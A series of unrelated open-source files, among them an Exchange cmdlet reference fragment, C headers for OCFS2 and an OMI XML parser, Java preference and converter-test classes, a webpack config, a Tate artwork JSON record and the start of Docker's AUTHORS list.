Type: ServerIdParameter
Parameter Sets: (All)
Aliases:
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: True
Accept wildcard characters: False
```
### -TestOnly
This parameter is reserved for internal Microsoft use.
```yaml
Type: Boolean
Parameter Sets: (All)
Aliases:
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -UnresponsivePrimaryServers
The UnresponsivePrimaryServers parameter identifies the primary servers that should resubmit the messages from Safety Net as being unavailable so other servers can resubmit the messages. If the primary servers are unavailable, you can designate other servers that hold redundant copies of the messages in Safety Net to resubmit their copies of the messages. However, you must identify the unresponsive primary servers to the other servers using this parameter.
```yaml
Type: MultiValuedProperty
Parameter Sets: (All)
Aliases:
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -WhatIf
The WhatIf switch simulates the actions of the command. You can use this switch to view the changes that would occur without actually applying those changes. You don't need to specify a value with this switch.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: wi
Applicable: Exchange Server 2013, Exchange Server 2016, Exchange Server 2019
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### CommonParameters
This cmdlet supports the common parameters: -Debug, -ErrorAction, -ErrorVariable, -InformationAction, -InformationVariable, -OutVariable, -OutBuffer, -PipelineVariable, -Verbose, -WarningAction, and -WarningVariable. For more information, see [about_CommonParameters](https://go.microsoft.com/fwlink/p/?LinkID=113216).
## INPUTS
###
To see the input types that this cmdlet accepts, see [Cmdlet Input and Output Types](https://go.microsoft.com/fwlink/p/?linkId=616387). If the Input Type field for a cmdlet is blank, the cmdlet doesn't accept input data.
## OUTPUTS
###
To see the return types, which are also known as output types, that this cmdlet accepts, see [Cmdlet Input and Output Types](https://go.microsoft.com/fwlink/p/?linkId=616387). If the Output Type field is blank, the cmdlet doesn't return data.
## NOTES
## RELATED LINKS
| {
"pile_set_name": "Github"
} |
/* -*- mode: c; c-basic-offset: 8; -*-
* vim: noexpandtab sw=8 ts=8 sts=0:
*
* uptodate.h
*
* Cluster uptodate tracking
*
* Copyright (C) 2002, 2004, 2005 Oracle. All rights reserved.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public
* License along with this program; if not, write to the
* Free Software Foundation, Inc., 59 Temple Place - Suite 330,
* Boston, MA 021110-1307, USA.
*/
#ifndef OCFS2_UPTODATE_H
#define OCFS2_UPTODATE_H
/*
* The caching code relies on locking provided by the user of
* struct ocfs2_caching_info. These operations connect that up.
*/
struct ocfs2_caching_operations {
/*
* A u64 representing the owning structure. Usually this
* is the block number (i_blkno or whatnot). This is used so
* that caching log messages can identify the owning structure.
*/
u64 (*co_owner)(struct ocfs2_caching_info *ci);
/* The superblock is needed during I/O. */
struct super_block *(*co_get_super)(struct ocfs2_caching_info *ci);
/*
* Lock and unlock the caching data. These will not sleep, and
* should probably be spinlocks.
*/
void (*co_cache_lock)(struct ocfs2_caching_info *ci);
void (*co_cache_unlock)(struct ocfs2_caching_info *ci);
/*
* Lock and unlock for disk I/O. These will sleep, and should
* be mutexes.
*/
void (*co_io_lock)(struct ocfs2_caching_info *ci);
void (*co_io_unlock)(struct ocfs2_caching_info *ci);
};
int __init init_ocfs2_uptodate_cache(void);
void exit_ocfs2_uptodate_cache(void);
void ocfs2_metadata_cache_init(struct ocfs2_caching_info *ci,
const struct ocfs2_caching_operations *ops);
void ocfs2_metadata_cache_purge(struct ocfs2_caching_info *ci);
void ocfs2_metadata_cache_exit(struct ocfs2_caching_info *ci);
u64 ocfs2_metadata_cache_owner(struct ocfs2_caching_info *ci);
void ocfs2_metadata_cache_io_lock(struct ocfs2_caching_info *ci);
void ocfs2_metadata_cache_io_unlock(struct ocfs2_caching_info *ci);
int ocfs2_buffer_uptodate(struct ocfs2_caching_info *ci,
struct buffer_head *bh);
void ocfs2_set_buffer_uptodate(struct ocfs2_caching_info *ci,
struct buffer_head *bh);
void ocfs2_set_new_buffer_uptodate(struct ocfs2_caching_info *ci,
struct buffer_head *bh);
void ocfs2_remove_from_cache(struct ocfs2_caching_info *ci,
struct buffer_head *bh);
void ocfs2_remove_xattr_clusters_from_cache(struct ocfs2_caching_info *ci,
sector_t block,
u32 c_len);
int ocfs2_buffer_read_ahead(struct ocfs2_caching_info *ci,
struct buffer_head *bh);
#endif /* OCFS2_UPTODATE_H */
| {
"pile_set_name": "Github"
} |
package cm.aptoide.pt.preferences;
import android.content.SharedPreferences;
import cm.aptoide.pt.preferences.secure.SecureCoderDecoder;
import rx.Completable;
import rx.Observable;
import rx.Single;
/**
* Created by marcelobenites on 08/03/17.
*/
public class SecurePreferences extends Preferences {
private final SecureCoderDecoder decoder;
public SecurePreferences(SharedPreferences preferences, SecureCoderDecoder decoder) {
super(preferences);
this.decoder = decoder;
}
@Override public Completable save(String key, boolean value) {
return save(key, String.valueOf(value));
}
@Override public Observable<Boolean> getBoolean(String key, boolean defaultValue) {
return getString(key, String.valueOf(defaultValue)).map(value -> Boolean.valueOf(value));
}
@Override public Completable save(String key, String value) {
return super.save(decoder.encrypt(key), decoder.encrypt(value));
}
@Override public Observable<String> getString(String key, String defaultValue) {
return super.getString(decoder.encrypt(key), decoder.encrypt(defaultValue))
.map(value -> decoder.decrypt(value));
}
@Override public Completable save(String key, int value) {
return save(key, String.valueOf(value));
}
@Override public Observable<Integer> getInt(String key, int defaultValue) {
return getString(key, String.valueOf(defaultValue)).map(value -> Integer.valueOf(value));
}
@Override public Completable remove(String key) {
return super.remove(decoder.encrypt(key));
}
@Override public Single<Boolean> contains(String key) {
return super.contains(decoder.encrypt(key));
}
}
| {
"pile_set_name": "Github"
} |
== 0.1.1 / 2010-12-22
* Initial release version
== 0.1.0 / 2010-12-13
* Initial packaged version
| {
"pile_set_name": "Github"
} |
import * as webpack from 'webpack'
import * as merge from 'webpack-merge'
import * as nodeExternals from 'webpack-node-externals'
import * as VueSSRServerPlugin from 'vue-server-renderer/server-plugin'
import BaseConfiguration from './base'
import { getPath } from './utils'
export default merge(BaseConfiguration, {
target: 'node',
devtool: 'source-map',
entry: getPath('src/entry-server.ts'),
output: {
filename: 'server-bundle.js',
libraryTarget: 'commonjs2'
},
resolve: {
alias: {
api: getPath('src/api/v1/server/index.ts')
},
extensions: [
'.ts',
'.tsx',
'.js',
'.vue',
'.json',
'.styl',
'.css',
'.sass',
'.scss'
]
},
externals: [
nodeExternals({
whitelist: [/\.css$/, /\.styl$/, /\.vue$/, /vue-quill-editor/]
}),
'quill'
],
plugins: [
new webpack.DefinePlugin({
isServer: true,
isClient: false
}),
new webpack.ProvidePlugin({
R: ['ramda/dist/ramda.js'],
Rx: ['rxjs']
}),
new VueSSRServerPlugin()
]
})
| {
"pile_set_name": "Github"
} |
{
"acno": "D33307",
"acquisitionYear": 1856,
"all_artists": "Joseph Mallord William Turner",
"catalogueGroup": {
"accessionRanges": "D33236-D33243; D33245; D33247-D33286; D33288-D33293; D33295-D33300; D33302-D33307; D33309-D33315; D33317-D33404; D41138-D41139; D41494",
"completeStatus": "COMPLETE",
"finbergNumber": "CCCXXX",
"groupType": "Turner Sketchbook",
"id": 65954,
"shortTitle": "Rhine, Flushing and Lausanne Sketchbook"
},
"classification": "on paper, unique",
"contributorCount": 1,
"contributors": [
{
"birthYear": 1775,
"date": "1775\u20131851",
"displayOrder": 1,
"fc": "Joseph Mallord William Turner",
"gender": "Male",
"id": 558,
"mda": "Turner, Joseph Mallord William",
"role": "artist",
"startLetter": "T"
}
],
"creditLine": "Accepted by the nation as part of the Turner Bequest 1856",
"dateRange": {
"endYear": 1842,
"startYear": 1841,
"text": "c.1841-2"
},
"dateText": "c.1841\u20132",
"depth": "",
"dimensions": "support: 175 x 107 mm",
"finberg": "CCCXXX 45",
"foreignTitle": null,
"groupTitle": "Rhine, Flushing and Lausanne Sketchbook",
"height": "107",
"id": 60481,
"inscription": null,
"medium": "Graphite on paper",
"movementCount": 0,
"pageNumber": 92,
"subjectCount": 4,
"subjects": {
"children": [
{
"children": [
{
"children": [
{
"id": 1138,
"name": "castle"
}
],
"id": 20,
"name": "military"
}
],
"id": 13,
"name": "architecture"
},
{
"children": [
{
"children": [
{
"id": 636,
"name": "hill"
},
{
"id": 563,
"name": "rocky"
}
],
"id": 71,
"name": "landscape"
},
{
"children": [
{
"id": 475,
"name": "lake"
}
],
"id": 76,
"name": "water: inland"
}
],
"id": 60,
"name": "nature"
}
],
"id": 1,
"name": "subject"
},
"thumbnailCopyright": null,
"thumbnailUrl": "http://www.tate.org.uk/art/images/work/D/D33/D33307_8.jpg",
"title": "Castle on Rock",
"units": "mm",
"url": "http://www.tate.org.uk/art/artworks/turner-castle-on-rock-d33307",
"width": "175"
} | {
"pile_set_name": "Github"
} |
from django.conf.urls import patterns, include
urlpatterns = patterns('',
(r'^forum/', include('djangobb_forum.urls', namespace='djangobb')),
)
| {
"pile_set_name": "Github"
} |
/*
**==============================================================================
**
** Copyright (c) Microsoft Corporation. All rights reserved. See file LICENSE
** for license information.
**
**==============================================================================
*/
#ifndef _omiar_xml_h
#define _omiar_xml_h
#include <stddef.h>
#include "config.h"
#include <common.h>
/* The maximum number of nested XML elements */
#define XML_MAX_NESTED 64
/* The maximum number of XML namespaces */
#define XML_MAX_NAMESPACES 32
/* The maximum number of registered XML namespaces */
#define XML_MAX_REGISTERED_NAMESPACES 32
/* The maximum number of attributes in a start tag */
#define XML_MAX_ATTRIBUTES 32
/* Represents case where tag has no namespace */
#define XML_NAMESPACE_NONE 0
typedef char XML_Char;
typedef unsigned char XML_UChar;
typedef _Null_terminated_ XML_Char* XMLCharPtr;
typedef _Null_terminated_ XML_UChar* XMLUCharPtr;
#if defined(__cplusplus)
extern "C" {
#endif
/* Represents an XML name */
typedef struct _XML_Name
{
/* Pointer to name */
XML_Char* data;
/* Size of name (excluding zero-terminator) */
size_t size;
/* Full namespace URI */
const XML_Char* namespaceUri;
size_t namespaceUriSize;
/* Nonzero if a registered namespace was used */
XML_Char namespaceId;
}
XML_Name;
/* Represents an XML namespace as registered by the client */
typedef struct _XML_RegisteredNameSpace
{
/* URI for this namespace */
const XML_Char* uri;
/* Hash code for uri */
unsigned int uriCode;
/* Single character namespace name expected by client */
XML_Char id;
}
XML_RegisteredNameSpace;
/* Represents an XML namespace as encountered during parsing */
typedef struct _XML_NameSpace
{
/* Namespace name */
const XML_Char* name;
/* Hash code for name */
unsigned int nameCode;
/* URI for this namespace */
const XML_Char* uri;
size_t uriSize;
/* Single character namespace name expected by client */
XML_Char id;
/* Depth at which this definition was encountered */
size_t depth;
}
XML_NameSpace;
void XML_NameSpace_Dump(
_In_ XML_NameSpace* self);
/* Represents an XML attributes */
typedef struct _XML_Attr
{
XML_Name name;
const XML_Char* value;
size_t valueSize;
}
XML_Attr;
/* XML element type tag */
typedef enum _XML_Type
{
XML_NONE,
XML_START,
XML_END,
XML_INSTRUCTION,
XML_CHARS,
XML_COMMENT
}
XML_Type;
/* Represents one XML element */
typedef struct _XML_Elem
{
/* Type of this XML object */
XML_Type type;
/* Tag or character data */
XML_Name data;
/* Attributes */
XML_Attr attrs[XML_MAX_ATTRIBUTES];
size_t attrsSize;
}
XML_Elem;
const XML_Char* XML_Elem_GetAttr(
_Inout_ XML_Elem* self,
XML_Char nsId,
_In_z_ const XML_Char* name);
void XML_Elem_Dump(
_In_ const XML_Elem* self);
typedef struct _XML
{
/* Points to first text character zero-terminated text */
XML_Char* text;
/* Pointer to current character */
XML_Char* ptr;
/* Line number */
size_t line;
/* Status: 0=Okay, 1=Done, 2=Failed */
int status;
/* Error message */
XML_Char message[256];
/* Stack of open tags (used to match closing tags) */
XML_Name stack[XML_MAX_NESTED];
size_t stackSize;
/* Current nesting level */
size_t nesting;
/* Stack of dummy elements generated for empty tags and PutBack calls */
XML_Elem elemStack[XML_MAX_NESTED];
size_t elemStackSize;
/* Array of namespaces */
XML_NameSpace nameSpaces[XML_MAX_NAMESPACES];
size_t nameSpacesSize;
/* Index of last namespace lookup from nameSpaces[] array */
size_t nameSpacesCacheIndex;
/* Predefined namespaces */
XML_RegisteredNameSpace registeredNameSpaces[XML_MAX_NAMESPACES];
size_t registeredNameSpacesSize;
/* Internal parser state */
int state;
/* Whether XML root element has been encountered */
int foundRoot;
}
XML;
void XML_Init(
_Out_ XML* self);
void XML_SetText(
_Inout_ XML* self,
_In_z_ XML_Char* text);
int XML_Next(
_Inout_ XML* self,
_Out_ XML_Elem* elem);
int GetNextSkipCharsAndComments(
_Inout_ XML *xml,
_Out_ XML_Elem *e);
int XML_Expect(
_Inout_ XML* self,
_Out_ XML_Elem* elem,
XML_Type type,
XML_Char nsId,
_In_z_ const XML_Char* name);
int XML_Skip(
_Inout_ XML* self);
int XML_RegisterNameSpace(
_Inout_ XML* self,
XML_Char id,
_In_z_ const XML_Char* uri);
int XML_PutBack(
_Inout_ XML* self,
_In_ const XML_Elem* elem);
int XML_StripWhitespace(
_Inout_ XML_Elem* elem);
void XML_Dump(
_In_ XML* self);
void XML_PutError(_Inout_ XML* self);
int XML_ParseCharFault(const XML *self,
const XML_Char *data,
XML_Char *buffer,
size_t buf_size);
#define XML_ERROR_BAD_ENTITY_REFERENCE ZT("Failed to parse XML. Bad entity reference. Only these are supported: '<', '>', '&', '"', '''.")
#define XML_ERROR_BAD_CHARACTER_REFERENCE ZT("Failed to parse XML. Bad character reference. Only character references in the range of 0 to 255 are supported.")
#define XML_ERROR_UNDEFINED_NAMESPACE_PREFIX ZT("Failed to parse XML. Undefined namespace prefix found '%T'.")
#define XML_ERROR_EXPECTED_ATTRIBUTE_NAME ZT("Failed to parse XML. An attribute name was expected.")
#define XML_ERROR_EXPECTED_ATTRIBUTE_EQUALS ZT("Failed to parse XML. An '=' character was expected while parsing attribute '%T'.")
#define XML_ERROR_EXPECTED_ATTRIBUTE_OPENING_QUOTES ZT("Failed to parse XML. An opening quote character was expected while parsing attribute '%T'.")
#define XML_ERROR_EXPECTED_ATTRIBUTE_CLOSING_QUOTES ZT("Failed to parse XML. An closing quote character was expected while parsing attribute '%T'.")
#define XML_ERROR_TOO_MANY_NAMESPACES ZT("Failed to parse XML. Too many namespaces were detected. A maximum of %u namespaces are allowed.")
#define XML_ERROR_TOO_MANY_ATTRIBUTES ZT("Failed to parse XML. Too many attributes were detected on element '%T'. A maximum of %u attributes are allowed per element.")
#define XML_ERROR_END_OF_XML_INSTRUCTION ZT("Failed to parse XML. The end of the XML was detected while processing an XML instruction.")
#define XML_ERROR_END_OF_INSTRUCTION_MISSING ZT("Failed to parse XML. The end of the XML instruction was not properly terminated with an '?>'.")
#define XML_ERROR_ELEMENT_NAME_EXPECTED ZT("Failed to parse XML. An element name was expected while decoding an element start tag.")
#define XML_ERROR_ELEMENT_NAME_PREMATURE_END ZT("Failed to parse XML. The end of the XML was detected while processing an XML element name for a element start tag.")
#define XML_ERROR_ELEMENT_DEPTH_OVERFLOW ZT("Failed to parse XML. XML element nesting is too deep. A maximum element depth of %u is supported.")
#define XML_ERROR_ELEMENT_NAME_NOT_CLOSED ZT("Failed to parse XML. The XML element '%T' was not terminated with a '>' while decoding an element start tag.")
#define XML_ERROR_ELEMENT_NAME_EXPECTED_ELEM_END ZT("Failed to parse XML. An element name was expected while decoding an element end tag.")
#define XML_ERROR_ELEMENT_NAME_PREMATURE_END_ELEM_END ZT("Failed to parse XML. The end of the XML was detected while processing an XML element name for a element end tag.")
#define XML_ERROR_ELEMENT_NAME_NOT_CLOSED_ELEM_END ZT("Failed to parse XML. The XML element '%T' was not terminated with a '>' while decoding an element end tag.")
#define XML_ERROR_ELEMENT_TOO_MANY_ENDS ZT("Failed to parse XML. More element end tags were found than element starting tags. The ending tag found is '%T'.")
#define XML_ERROR_ELEMENT_END_ELEMENT_TAG_NOT_MATCH_START_TAG ZT("Failed to parse XML. The XML element end tag expected was '%T', but what was found was '%T'.")
#define XML_ERROR_COMMENT_END_EXPECTED ZT("Failed to parse XML. Double minus signs in comments are not allowed, unless used to terminate comment. '>' was not found.")
#define XML_ERROR_COMMENT_PREMATURE_END ZT("Failed to parse XML. The end of the XML was detected while processing a comment.")
#define XML_ERROR_CDATA_PREMATURE_END ZT("Failed to parse XML. The end of the XML was detected while processing a CDATA.")
#define XML_ERROR_DOCTYPE_PREMATURE_END ZT("Failed to parse XML. The end of the XML was detected while processing a DOCTYPE.")
#define XML_ERROR_CHARDATA_EXPECTED_ELEMENT_END_TAG ZT("Failed to parse XML. While processing the element data no element end tag was discovered.")
#define XML_ERROR_OPEN_ANGLE_BRACKET_EXPECTED ZT("Failed to parse XML. An open angle bracket '<' was expected and not found.")
#define XML_ERROR_COMMENT_CDATA_DOCTYPE_EXPECTED ZT("Failed to parse XML. A comment, CDATA or DOCTYPE element was expected and not found.")
#define XML_ERROR_ELEMENT_EXPECTED ZT("Failed to parse XML. An XML element was expected and not found.")
#define XML_ERROR_UNEXPECTED_STATE ZT("Failed to parse XML. The XML parser hit an interal problem that stopped it from progressing.")
#define XML_ERROR_SPECIFIC_ELEMENT_EXPECTED ZT("Failed to parse XML. The element name %T was expected but %T was found instead.")
#define XML_ERROR_SPECIFIC_END_ELEMENT_EXPECTED ZT("Failed to parse XML. The element name %T end tag was expected but %T was found instead.")
#define XML_ERROR_CHARACTER_DATA_EXPECTED ZT("Failed to parse XML. Character data was expected but not found.")
#define WSMAN_ERROR_NO_CLASS_NAME_IN_SELECTOR ZT("Failed to process WS-Management packet. The class name was not found in the selector.")
#define WSMAN_ERROR_NO_RESOURCE_URI ZT("Failed to process WS-Management packet. The resource URI was not found.")
#define WSMAN_ERROR_OUTOFMEMORY ZT("Failed to process WS-Management packet. Out of memory.")
#define WSMAN_ERROR_BAD_SELECTOR ZT("Failed to process WS-Management packet. Character data or the element EndPointReference was expected in the selector but not found.")
#define WSMAN_ERROR_BAD_EPR_IN_SELECTOR ZT("Failed to process WS-Management packet. The element EndPointReference in the selector could not be parsed.")
void XML_Raise(XML* self, _In_z_ const XML_Char* format, ...);
void XML_FormatError(_Inout_ XML* self, _Out_writes_z_(size) XML_Char* buffer, size_t size);
#if defined(__cplusplus)
} /* extern "C" */
#endif
#endif /* _omiar_xml_h */
| {
"pile_set_name": "Github"
} |
{
"PLAN_IMPLEMENTATIONS": [
[
"crypto_stream",
"salsa2012",
"ref"
],
[
"crypto_auth",
"hmacsha256",
"ref"
],
[
"crypto_auth",
"hmacsha512256",
"ref"
],
[
"crypto_core",
"salsa208",
"ref"
],
[
"crypto_verify",
"32",
"ref"
],
[
"crypto_core",
"hsalsa20",
"ref"
],
[
"crypto_stream",
"aes128ctr",
"portable"
],
[
"crypto_core",
"salsa20",
"ref"
],
[
"crypto_onetimeauth",
"poly1305",
"moon/avx/32"
],
[
"crypto_stream",
"salsa20",
"ref"
],
[
"crypto_hashblocks",
"sha512",
"ref"
],
[
"crypto_stream",
"salsa208",
"ref"
],
[
"crypto_core",
"salsa2012",
"ref"
],
[
"crypto_secretbox",
"xsalsa20poly1305",
"ref"
],
[
"crypto_box",
"curve25519xsalsa20poly1305",
"ref"
],
[
"crypto_stream",
"xsalsa20",
"ref"
],
[
"crypto_verify",
"16",
"ref"
],
[
"crypto_scalarmult",
"curve25519",
"ref10"
],
[
"crypto_hashblocks",
"sha256",
"ref"
],
[
"crypto_hash",
"sha256",
"ref"
],
[
"crypto_hash",
"sha512",
"ref"
]
],
"PLAN_TYPES": [
"typedef unsigned long long crypto_uint64;",
"typedef short crypto_int16;",
"typedef long long crypto_int64;",
"typedef unsigned int crypto_uint32;",
"typedef unsigned char crypto_uint8;",
"typedef signed char crypto_int8;",
"typedef int crypto_int32;",
"typedef unsigned short crypto_uint16;"
]
}
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.beanutils2.converters;
import java.math.BigInteger;
import org.apache.commons.beanutils2.Converter;
import junit.framework.TestSuite;
/**
* Test Case for the BigInteger class.
*
*/
public class BigIntegerConverterTestCase extends NumberConverterTestBase {
public static TestSuite suite() {
return new TestSuite(BigIntegerConverterTestCase.class);
}
private Converter converter = null;
public BigIntegerConverterTestCase(final String name) {
super(name);
}
@Override
protected Class<?> getExpectedType() {
return BigInteger.class;
}
@Override
protected NumberConverter makeConverter() {
return new BigIntegerConverter();
}
@Override
protected NumberConverter makeConverter(final Object defaultValue) {
return new BigIntegerConverter(defaultValue);
}
@Override
public void setUp() throws Exception {
converter = makeConverter();
numbers[0] = new BigInteger("-12");
numbers[1] = new BigInteger("13");
numbers[2] = new BigInteger("-22");
numbers[3] = new BigInteger("23");
}
@Override
public void tearDown() throws Exception {
converter = null;
}
public void testSimpleConversion() throws Exception {
final String[] message= {
"from String",
"from String",
"from String",
"from String",
"from String",
"from String",
"from String",
"from Byte",
"from Short",
"from Integer",
"from Long",
"from Float",
"from Double"
};
final Object[] input = {
String.valueOf(Long.MIN_VALUE),
"-17",
"-1",
"0",
"1",
"17",
String.valueOf(Long.MAX_VALUE),
new Byte((byte)7),
new Short((short)8),
new Integer(9),
new Long(10),
new Float(11.1),
new Double(12.2)
};
final BigInteger[] expected = {
BigInteger.valueOf(Long.MIN_VALUE),
BigInteger.valueOf(-17),
BigInteger.valueOf(-1),
BigInteger.valueOf(0),
BigInteger.valueOf(1),
BigInteger.valueOf(17),
BigInteger.valueOf(Long.MAX_VALUE),
BigInteger.valueOf(7),
BigInteger.valueOf(8),
BigInteger.valueOf(9),
BigInteger.valueOf(10),
BigInteger.valueOf(11),
BigInteger.valueOf(12)
};
for(int i=0;i<expected.length;i++) {
assertEquals(message[i] + " to BigInteger",expected[i],converter.convert(BigInteger.class,input[i]));
assertEquals(message[i] + " to null type",expected[i],converter.convert(null,input[i]));
}
}
}
| {
"pile_set_name": "Github"
} |
# This file lists all individuals having contributed content to the repository.
# For how it is generated, see `hack/generate-authors.sh`.
Aanand Prasad <[email protected]>
Aaron Davidson <[email protected]>
Aaron Feng <[email protected]>
Aaron Huslage <[email protected]>
Aaron L. Xu <[email protected]>
Aaron Lehmann <[email protected]>
Aaron Welch <[email protected]>
Aaron.L.Xu <[email protected]>
Abel Muiño <[email protected]>
Abhijeet Kasurde <[email protected]>
Abhinandan Prativadi <[email protected]>
Abhinav Ajgaonkar <[email protected]>
Abhishek Chanda <[email protected]>
Abhishek Sharma <[email protected]>
Abin Shahab <[email protected]>
Adam Avilla <[email protected]>
Adam Eijdenberg <[email protected]>
Adam Kunk <[email protected]>
Adam Miller <[email protected]>
Adam Mills <[email protected]>
Adam Pointer <[email protected]>
Adam Singer <[email protected]>
Adam Walz <[email protected]>
Addam Hardy <[email protected]>
Aditi Rajagopal <[email protected]>
Aditya <[email protected]>
Adnan Khan <[email protected]>
Adolfo Ochagavía <[email protected]>
Adria Casas <[email protected]>
Adrian Moisey <[email protected]>
Adrian Mouat <[email protected]>
Adrian Oprea <[email protected]>
Adrien Folie <[email protected]>
Adrien Gallouët <[email protected]>
Ahmed Kamal <[email protected]>
Ahmet Alp Balkan <[email protected]>
Aidan Feldman <[email protected]>
Aidan Hobson Sayers <[email protected]>
AJ Bowen <[email protected]>
Ajey Charantimath <[email protected]>
ajneu <[email protected]>
Akash Gupta <[email protected]>
Akihiro Matsushima <[email protected]>
Akihiro Suda <[email protected]>
Akim Demaille <[email protected]>
Akira Koyasu <[email protected]>
Akshay Karle <[email protected]>
Al Tobey <[email protected]>
alambike <[email protected]>
Alan Scherger <[email protected]>
Alan Thompson <[email protected]>
Albert Callarisa <[email protected]>
Albert Zhang <[email protected]>
Alejandro González Hevia <[email protected]>
Aleksa Sarai <[email protected]>
Aleksandrs Fadins <[email protected]>
Alena Prokharchyk <[email protected]>
Alessandro Boch <[email protected]>
Alessio Biancalana <[email protected]>
Alex Chan <[email protected]>
Alex Chen <[email protected]>
Alex Coventry <[email protected]>
Alex Crawford <[email protected]>
Alex Ellis <[email protected]>
Alex Gaynor <[email protected]>
Alex Goodman <[email protected]>
Alex Olshansky <[email protected]>
Alex Samorukov <[email protected]>
Alex Warhawk <[email protected]>
Alexander Artemenko <[email protected]>
Alexander Boyd <[email protected]>
Alexander Larsson <[email protected]>
Alexander Midlash <[email protected]>
Alexander Morozov <[email protected]>
Alexander Shopov <[email protected]>
Alexandre Beslic <[email protected]>
Alexandre Garnier <[email protected]>
Alexandre González <[email protected]>
Alexandre Jomin <[email protected]>
Alexandru Sfirlogea <[email protected]>
Alexey Guskov <[email protected]>
Alexey Kotlyarov <[email protected]>
Alexey Shamrin <[email protected]>
Alexis THOMAS <[email protected]>
Alfred Landrum <[email protected]>
Ali Dehghani <[email protected]>
Alicia Lauerman <[email protected]>
Alihan Demir <[email protected]>
Allen Madsen <[email protected]>
Allen Sun <[email protected]>
almoehi <[email protected]>
Alvaro Saurin <[email protected]>
Alvin Deng <[email protected]>
Alvin Richards <[email protected]>
amangoel <[email protected]>
Amen Belayneh <[email protected]>
Amir Goldstein <[email protected]>
Amit Bakshi <[email protected]>
Amit Krishnan <[email protected]>
Amit Shukla <[email protected]>
Amr Gawish <[email protected]>
Amy Lindburg <[email protected]>
Anand Patil <[email protected]>
AnandkumarPatel <[email protected]>
Anatoly Borodin <[email protected]>
Anchal Agrawal <[email protected]>
Anda Xu <[email protected]>
Anders Janmyr <[email protected]>
Andre Dublin <[email protected]>
Andre Granovsky <[email protected]>
Andrea Luzzardi <[email protected]>
Andrea Turli <[email protected]>
Andreas Elvers <[email protected]>
Andreas Köhler <[email protected]>
Andreas Savvides <[email protected]>
Andreas Tiefenthaler <[email protected]>
Andrei Gherzan <[email protected]>
Andrew C. Bodine <[email protected]>
Andrew Clay Shafer <[email protected]>
Andrew Duckworth <[email protected]>
Andrew France <[email protected]>
Andrew Gerrand <[email protected]>
Andrew Guenther <[email protected]>
Andrew He <[email protected]>
Andrew Hsu <[email protected]>
Andrew Kuklewicz <[email protected]>
Andrew Macgregor <[email protected]>
Andrew Macpherson <[email protected]>
Andrew Martin <[email protected]>
Andrew McDonnell <[email protected]>
Andrew Munsell <[email protected]>
Andrew Pennebaker <[email protected]>
Andrew Po <[email protected]>
Andrew Weiss <[email protected]>
Andrew Williams <[email protected]>
Andrews Medina <[email protected]>
Andrey Petrov <[email protected]>
Andrey Stolbovsky <[email protected]>
André Martins <[email protected]>
andy <[email protected]>
Andy Chambers <[email protected]>
andy diller <[email protected]>
Andy Goldstein <[email protected]>
Andy Kipp <[email protected]>
Andy Rothfusz <[email protected]>
Andy Smith <[email protected]>
Andy Wilson <[email protected]>
Anes Hasicic <[email protected]>
Anil Belur <[email protected]>
Anil Madhavapeddy <[email protected]>
Ankush Agarwal <[email protected]>
Anonmily <[email protected]>
Anran Qiao <[email protected]>
Anshul Pundir <[email protected]>
Anthon van der Neut <[email protected]>
Anthony Baire <[email protected]>
Anthony Bishopric <[email protected]>
Anthony Dahanne <[email protected]>
Anthony Sottile <[email protected]>
Anton Löfgren <[email protected]>
Anton Nikitin <[email protected]>
Anton Polonskiy <[email protected]>
Anton Tiurin <[email protected]>
Antonio Murdaca <[email protected]>
Antonis Kalipetis <[email protected]>
Antony Messerli <[email protected]>
Anuj Bahuguna <[email protected]>
Anusha Ragunathan <[email protected]>
apocas <[email protected]>
Arash Deshmeh <[email protected]>
ArikaChen <[email protected]>
Arnaud Lefebvre <[email protected]>
Arnaud Porterie <[email protected]>
Arthur Barr <[email protected]>
Arthur Gautier <[email protected]>
Artur Meyster <[email protected]>
Arun Gupta <[email protected]>
Asad Saeeduddin <[email protected]>
Asbjørn Enge <[email protected]>
averagehuman <[email protected]>
Avi Das <[email protected]>
Avi Miller <[email protected]>
Avi Vaid <[email protected]>
ayoshitake <[email protected]>
Azat Khuyiyakhmetov <[email protected]>
Bardia Keyoumarsi <[email protected]>
Barnaby Gray <[email protected]>
Barry Allard <[email protected]>
Bartłomiej Piotrowski <[email protected]>
Bastiaan Bakker <[email protected]>
bdevloed <[email protected]>
Ben Bonnefoy <[email protected]>
Ben Firshman <[email protected]>
Ben Golub <[email protected]>
Ben Hall <[email protected]>
Ben Sargent <[email protected]>
Ben Severson <[email protected]>
Ben Toews <[email protected]>
Ben Wiklund <[email protected]>
Benjamin Atkin <[email protected]>
Benjamin Boudreau <[email protected]>
Benjamin Yolken <[email protected]>
Benoit Chesneau <[email protected]>
Bernerd Schaefer <[email protected]>
Bernhard M. Wiedemann <[email protected]>
Bert Goethals <[email protected]>
Bharath Thiruveedula <[email protected]>
Bhiraj Butala <[email protected]>
Bhumika Bayani <[email protected]>
Bilal Amarni <[email protected]>
Bill Wang <[email protected]>
Bin Liu <[email protected]>
Bingshen Wang <[email protected]>
Blake Geno <[email protected]>
Boaz Shuster <[email protected]>
bobby abbott <[email protected]>
Boris Pruessmann <[email protected]>
Boshi Lian <[email protected]>
